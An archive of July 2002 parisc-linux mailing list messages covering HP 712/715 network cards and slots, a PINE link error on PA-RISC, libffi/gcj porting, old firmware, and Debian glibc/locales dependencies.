Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15452

There's no ISA slot in the 712. There was a special interface card 
(A4014A) that added a second network port and a second serial port. It 
is documented in this manual:

   http://www.hp.com/workstations/support/archive/manuals/A2615-90602.pdf

Good luck trying to find one. The only time I saw these adapters was 
when the 712 was used as the console to V-class servers. The B-class 
(with PCI & GSC slots) soon replaced the 712 for this solution.

I wanted to do the same with one of my 712's, but have not been able to 
find one of these adapters. :-(

On Sunday, July 14, 2002, at 09:12 , Helge Deller wrote:

> Hi Simon,
>
> last time I tested a normal PC network card (ISA NE2000 clone) worked.
>
> Greetings,
> Helge
>
> On Sunday 14 July 2002 14:52, Simon Urbanek wrote:
>> Hi,
>>
>> I have a HP 712/80 workstation with PARISC-Linux and it works 
>> flawlessly
>> (2.4.18) - good job.
>> I would like to use it as a router/fw, ergo I need to plugin another
>> network card. Could you, please, tell me what network cards for the
>> extension slot are supported by the PARISC-Linux and maybe where I can
>> get one? I know, it's all a bit old stuff ;) so it's not easy to get I
>> suppose..
>>
>> Thanks for any help,
>> Simon
>>
>> PS: Please CC any response to my e-mail since I'm not on the list.
>>
>> --
>> Simon Urbanek
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:23:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80 ext. network card
Date: Sun, 14 Jul 2002 20:02:18 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <200207142002.18809.deller@gmx.de>
References: <968A1D16-9750-11D6-84C8-000393581E44@telocity.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621507 10511 80.91.229.3 (22 Nov 2014 01:58:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:27 +0000 (UTC)
Cc: Simon Urbanek <su@b-q-c.com>, parisc-linux@lists.parisc-linux.org
To: Chuck Slivkoff <caslivkoff@telocity.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 12:03:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id B2BDF4848
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 12:03:07 -0600 (MDT)
Original-Received: (qmail 14202 invoked by uid 0); 14 Jul 2002 18:02:46 -0000
Original-Received: from dialin-212-144-175-244.arcor-ip.net (HELO P100.helgenet.de) (212.144.175.244)
  by mail.gmx.net (mp013-rz3) with SMTP; 14 Jul 2002 18:02:46 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <968A1D16-9750-11D6-84C8-000393581E44@telocity.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15453

On Sunday 14 July 2002 19:39, Chuck Slivkoff wrote:
> There's no ISA slot in the 712. 

Isn't there an EISA slot ?
At least in my 715 there is one and there I tested the ISA card...

Greetings,
Helge


From - Thu Nov 08 21:23:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling PINE under PARISC
Date: Sun, 14 Jul 2002 15:00:58 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200207141900.g6EJ0xtO021964@hiauly1.hia.nrc.ca>
References: <20020714162011.58440483E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621507 10516 80.91.229.3 (22 Nov 2014 01:58:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: stephan@itp.bg (Stephan Trajkoff)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 13:01:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA1D54840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 13:01:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6EJ0x00021965
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 15:01:00 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6EJ0xtO021964;
	Sun, 14 Jul 2002 15:00:59 -0400 (EDT)
In-Reply-To: <20020714162011.58440483E@dsl2.external.hp.com> from "Stephan Trajkoff" at Jul 14, 2002 07:21:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15454

> cc    -g -DDEBUG   -DLNX -DSYSTYPE=\"LNX\" -DMOUSE -o pine addrbook.o 
> adrbkcmd.o adrbklib.o args.o bldaddr.o context.o filter.o folder.o 
> help.o helptext.o imap.o init.o mailcap.o mailcmd.o mailindx.o 
> mailpart.o mailview.o newmail.o other.o pine.o reply.o screen.o 
> send.o signals.o status.o strings.o takeaddr.o os.o 
> date.c ../pico/libpico.a ../c-client/c-client.a  -lncurses `cat ../c-
> client/LDFLAGS`
> /usr/bin/ld: other.o(.text 0x3f730): cannot reach 
> 000000d6_ClearScreen 0, recompile with -ffunction-sections

There are various ways to work around this problem.  You could
try

export CC="gcc -ffunction-sections"

If that doesn't work, you will have to edit BASECFLAGS for the
configuration that is being built in various Makefile's, adding
-ffunction-sections.  You can find the Makefile's with

find . -type f -print|xargs grep BASECFLAGS

Finally, you could use gcc 3.2 for the build.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: libffi2 -> gcj = Java
Date: Sun, 14 Jul 2002 21:29:15 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <15665.53515.823981.959433__45830.6354158141$1416621508$gmane$org@gargle.gargle.HOWL>
References: <002f01c2220f$a06802a0$01a8adc0@mehaban>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621508 10520 80.91.229.3 (22 Nov 2014 01:58:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:28 +0000 (UTC)
Cc: <debian-gcc@lists.debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Jean-Yves GUILLEVIC" <jean-yves.guillevic@wanadoo.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 13:30:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9A33485A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 13:30:05 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id VAA21018;
	Sun, 14 Jul 2002 21:29:16 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id g6EJTFO29578;
	Sun, 14 Jul 2002 21:29:15 +0200 (MEST)
In-Reply-To: <002f01c2220f$a06802a0$01a8adc0@mehaban>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15455

Jean-Yves GUILLEVIC writes:
> Hello All
> 
> does someone knows about libffi2 on Debian HPPA Linux ?
> to get a gcj on this port ...

AFAIK nobody has started a port yet.


From - Thu Nov 08 21:23:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Igor Grinchenko <green@grinchenko.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/33 PDC v1.4 firmware
Date: Sun, 14 Jul 2002 13:13:11 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20020714201311.GA175@igor.grinchenko.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621508 10523 80.91.229.3 (22 Nov 2014 01:58:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 14:13:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sun.grinchenko.org (12-234-66-11.client.attbi.com [12.234.66.11])
	by dsl2.external.hp.com (Postfix) with SMTP id 6DB4C4841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 14:13:29 -0600 (MDT)
Original-Received: (qmail 25769 invoked from network); 14 Jul 2002 20:01:25 -0000
Original-Received: from 12-234-66-9.client.attbi.com (HELO igor.grinchenko.org) (12.234.66.9)
  by 12-234-66-11.client.attbi.com with SMTP; 14 Jul 2002 20:01:25 -0000
Original-Received: (from root@localhost)
	by igor.grinchenko.org (8.11.3/8.11.3) id g6EKDBG00179
	for parisc-linux@lists.parisc-linux.org; Sun, 14 Jul 2002 13:13:11 -0700 (PDT)
	(envelope-from root)
Content-Disposition: inline
X-Web-Homepage: http://www.grinchenko.org/
X-Editor: vim-5.8 - http://www.vim.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15456

HEllo everyone,

does anybody on that list have an old Firmware patch for 715/33?
1.6 doesn't seem to support 715/33 so I think 1.4 is what I need.
HP calles it PF_C7X50014, but I can't download it from their website, b/c it
was substituted by 1.6(which doesn't support 33)

any replies appreciated, please CC me in reply, I'm not subscribed to that
list.

Igor


From - Thu Nov 08 21:23:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: libffi2 -> gcj = Java
Date: Sun, 14 Jul 2002 16:21:09 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200207142021.g6EKL9rq022178__4940.79584391347$1416621508$gmane$org@hiauly1.hia.nrc.ca>
References: <15665.53515.823981.959433@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621508 10527 80.91.229.3 (22 Nov 2014 01:58:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:28 +0000 (UTC)
Cc: jean-yves.guillevic@wanadoo.fr, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 14:22:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 157484878
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 14:22:09 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6EKL900022179;
	Sun, 14 Jul 2002 16:21:10 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6EKL9rq022178;
	Sun, 14 Jul 2002 16:21:09 -0400 (EDT)
In-Reply-To: <15665.53515.823981.959433@gargle.gargle.HOWL> from "Matthias Klose" at Jul 14, 2002 09:29:15 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15457

> Jean-Yves GUILLEVIC writes:
> > Hello All
> > 
> > does someone knows about libffi2 on Debian HPPA Linux ?
> > to get a gcj on this port ...
> 
> AFAIK nobody has started a port yet.

James Mc Parlane may be working on this.  There was a question re calling
conventions back on May 17.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@telocity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80 ext. network card
Date: Sun, 14 Jul 2002 16:49:29 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <30E7A4AE-976B-11D6-84C8-000393581E44@telocity.com>
References: <200207142002.18809.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621508 10533 80.91.229.3 (22 Nov 2014 01:58:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:28 +0000 (UTC)
Cc: Simon Urbanek <su@b-q-c.com>, parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 14:49:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c003.snv.cp.net (h004.c003.snv.cp.net [209.228.32.218])
	by dsl2.external.hp.com (Postfix) with SMTP id 33E9C4857
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 14:49:24 -0600 (MDT)
Original-Received: (cpmta 23232 invoked from network); 14 Jul 2002 13:49:22 -0700
Original-Received: from 64.128.230.1 (HELO dhcp129.slivkoff.home)
  by smtp.telocity.com (209.228.32.218) with SMTP; 14 Jul 2002 13:49:22 -0700
X-Sent: 14 Jul 2002 20:49:22 GMT
In-Reply-To: <200207142002.18809.deller@gmx.de>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15458

Nope.

On Sunday, July 14, 2002, at 02:02 , Helge Deller wrote:

> On Sunday 14 July 2002 19:39, Chuck Slivkoff wrote:
>> There's no ISA slot in the 712.
>
> Isn't there an EISA slot ?
> At least in my 715 there is one and there I tested the ISA card...



From - Thu Nov 08 21:23:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Volitive ." <volitive@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Unrelated Advertisement] J5000 for sale on E-Bay!
Date: Sun, 14 Jul 2002 16:41:45 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <F99yLridnGiAw8HQEUE000003b3@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416621509 10791 80.91.229.3 (22 Nov 2014 01:58:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 16:41:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f99.pav1.hotmail.com [64.4.31.99])
	by dsl2.external.hp.com (Postfix) with ESMTP id E43D54845
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 16:41:46 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sun, 14 Jul 2002 15:41:45 -0700
Original-Received: from 156.153.255.126 by pv1fd.pav1.hotmail.msn.com with HTTP;
	Sun, 14 Jul 2002 22:41:45 GMT
X-Originating-IP: [156.153.255.126]
X-OriginalArrivalTime: 14 Jul 2002 22:41:45.0933 (UTC) FILETIME=[A20FF7D0:01C22B87]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15459

Sorry for the spam, but I wanted to include people on this list, since you 
may be the most interested.

I'm selling my old development machine, a J5000, as it came configured.

It's up on e-bay right now, at
http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2038735534

Currently at $1250, but it's been appraised at $4200.

It will include 512MB of RAM, 9.1gb SCSI, FX2 Graphics, CD-ROM and Floppy.

Thanks!



_________________________________________________________________
MSN Photos is the easiest way to share and print your photos: 
http://photos.msn.com/support/worldwide.aspx



From - Thu Nov 08 21:23:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] locales held back
Date: Sun, 14 Jul 2002 17:38:21 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20020714233821.9FBE037E97@carmen.fc.hp.com>
References: <NGBBJKHCMLEJELIEEHNOCEDPCAAA.falden@comcast.net>  <3D30A926.8020509@wanadoo.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621509 10792 80.91.229.3 (22 Nov 2014 01:58:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:29 +0000 (UTC)
Cc: Frank Alden Smith <falden@comcast.net>,
	parisc-linux@parisc-linux.org, taggart@carmen.fc.hp.com
To: eddantes@wanadoo.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 17:38:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id D513A4843
	for <parisc-linux@parisc-linux.org>; Sun, 14 Jul 2002 17:38:25 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1b.fc.hp.com [15.15.136.127])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 470EA805087; Sun, 14 Jul 2002 19:38:23 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id D36DD37E83; Sun, 14 Jul 2002 17:38:22 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 7E2594401; Sun, 14 Jul 2002 17:38:22 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 9FBE037E97; Sun, 14 Jul 2002 17:38:21 -0600 (MDT)
In-Reply-To: Your message of "Sun, 14 Jul 2002 00:26:46 +0200."
             <3D30A926.8020509@wanadoo.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15460

eddantes@wanadoo.fr writes...

> Frank Alden Smith wrote:

> > Sorry, but the following packages have unmet dependencies:
> >   locales: Depends: glibc-2.2.5-8 but it is not installable
> > E: Sorry, broken packages
> > 
> > Any, idea how I can resolve the problem, or must I just be patient until
> > the broken glibc-2.2.5-8 is fixed?
> > 
> > Take care,
> > frank
> 
> 
> That's a pretty common situation in Debian Sid (unstable), especially 
> between locales and glibc. I've seen it happen qui a lot of times, but 
> it's just harmless.

BTW- IIRC this is due the the fact that libc6 and locales have lock-step
dependencies. So when a new glibc package comes out the binary-all
locales package is immediatatly available for all architectures but the
arch-specific packages like libc aren't until they've been built for
each architecture. So as eddantes pointed out, just wait a few days and
they'll be sync'd back up.

Or you could run testing which doesn't have this problem(by definition).

-- 
Matt Taggart
taggart@fc.hp.com


From - Thu Nov 08 21:23:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/33 PDC v1.4 firmware
Date: Sun, 14 Jul 2002 18:10:24 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20020715001024.BCA0737E97@carmen.fc.hp.com>
References: <20020714201311.GA175@igor.grinchenko.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621509 10795 80.91.229.3 (22 Nov 2014 01:58:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
